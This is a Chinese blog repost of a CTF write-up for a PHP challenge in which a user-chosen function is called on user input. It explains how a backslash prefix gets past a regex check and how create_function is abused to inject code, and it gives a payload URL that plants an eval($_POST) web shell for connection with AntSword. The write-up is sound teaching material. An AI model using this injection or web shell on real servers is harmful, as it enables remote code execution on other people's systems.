当前位置: 首页 > news >正文

PHP-create_function

[题目信息]:

题目名称题目难度
PHP-create_function2

[题目考点]:

create_function ( string args , string args , string code )

[Flag格式]:

SangFor{wWx5dEGHHhDUwmST4bpXwfjSzq43I6cz}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2085

[题目writeup]:

1、实验主页

2、源码分析

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match(’/[1]*$/isD’, $action)) {
show_source(FILE);
} else {
$action(’’, $arg);
}

分析代码逻辑,思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种写法。

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

create_function('$a,$b','return 111')

==>

function a($a, $b){
return 111;
}

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
return 111;}phpinfo();//
}

这样一来,我们想要执行的代码就会执行

/?action=\create_function&arg=1;}eval($_POST['123']);//

蚁剑连接获取flag


  1. a-z0-9_ ↩︎

相关文章:

  • 力扣3464. 正方形上的点之间的最大距离
  • 【jira】用到几张表
  • rust笔记9-引用与原始指针
  • 免费PDF工具
  • 算法与数据结构(不同路径)
  • 滴水逆向_引用_友元函数_运算符重载
  • 机器学习数学基础:37.偏相关分析
  • java编译和c语言编译区别
  • CPU多级缓存机制
  • 前端面试题之HTML篇
  • 虚拟机PING不通百度?NAT是什么?什么仅主机?
  • HarmonyOS 5.0应用开发——鸿蒙接入高德地图实现POI搜索
  • 安装 Milvus Java SDK
  • 突破性能极限:DeepSeek开源FlashMLA解码内核技术解析
  • Oracle Fusion Middleware 12C安装 - 呆瓜式
  • 老张的仓库变形记:从算盘到AI的奇幻之旅
  • 【数据处理】COCO 数据集掩码 Run-Length Encoding (RLE) 编码转二进制掩码
  • 山东大学软件学院nosql实验一环境配置
  • C语言学习,希尔排序
  • 侯捷 C++ 课程学习笔记:C++ 标准库的体系结构与内核分析
  • 怎么快速做网站/全网整合营销推广方案
  • 加强网站硬件建设方案/seo外包 靠谱
  • 微信分享网站短链接怎么做/最新引流推广方法
  • 班组安全建设 网站/优化最狠的手机优化软件
  • 北京城乡建设委员会网站/惠州网络推广平台
  • 专业的广州商城网站建设/iis搭建网站